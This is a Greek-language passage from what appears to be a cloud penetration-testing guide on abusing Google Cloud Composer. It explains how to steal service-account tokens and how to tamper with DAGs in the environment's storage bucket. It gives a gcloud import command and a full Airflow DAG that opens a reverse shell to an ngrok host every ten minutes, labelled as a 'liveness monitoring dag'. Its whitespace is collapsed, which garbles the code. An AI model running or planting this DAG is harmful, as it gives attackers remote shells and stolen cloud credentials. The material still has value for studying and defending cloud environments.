Είναι δυνατόν να συνδέσετε οποιονδήποτε λογαριασμό υπηρεσίας στο νέο περιβάλλον composer με αυτή την άδεια. Αργότερα μπορείτε να εκτελέσετε κώδικα μέσα στο composer για να κλέψετε το διακριτικό του λογαριασμού υπηρεσίας.
Προσθέστε τον κώδικα python DAG σε ένα αρχείο και εισάγετέ το εκτελώντας:
# TODO: Create dag to get a rev shellgcloudcomposerenvironmentsstoragedagsimport--environmenttest--locationus-central1--source/tmp/dags/reverse_shell.py
Αντίστροφη θηλειά DAG:
reverse_shell.py
import airflowfrom airflow import DAGfrom airflow.operators.bash_operator import BashOperatorfrom datetime import timedeltadefault_args ={'start_date': airflow.utils.dates.days_ago(0),'retries':1,'retry_delay':timedelta(minutes=5)}dag =DAG('reverse_shell',default_args=default_args,description='liveness monitoring dag',schedule_interval='*/10 * * * *',max_active_runs=1,catchup=False,dagrun_timeout=timedelta(minutes=10),)# priority_weight has type int in Airflow DB, uses the maximum.t1 =BashOperator(task_id='bash_rev',bash_command='bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/14382 0>&1',dag=dag,depends_on_past=False,priority_weight=2**31-1,do_xcom_push=False)
Γράψτε Πρόσβαση στον κάδο Composer
Όλα τα στοιχεία ενός περιβάλλοντος composer (DAGs, plugins και δεδομένα) αποθηκεύονται μέσα σε έναν κάδο GCP. Εάν ο επιτιθέμενος έχει δικαιώματα ανάγνωσης και εγγραφής σε αυτόν, θα μπορούσε να παρακολουθεί τον κάδο και όποτε δημιουργείται ή ενημερώνεται ένα DAG, να υποβάλει μια παραποιημένη έκδοση ώστε το περιβάλλον composer να πάρει από την αποθήκευση την παραποιημένη έκδοση.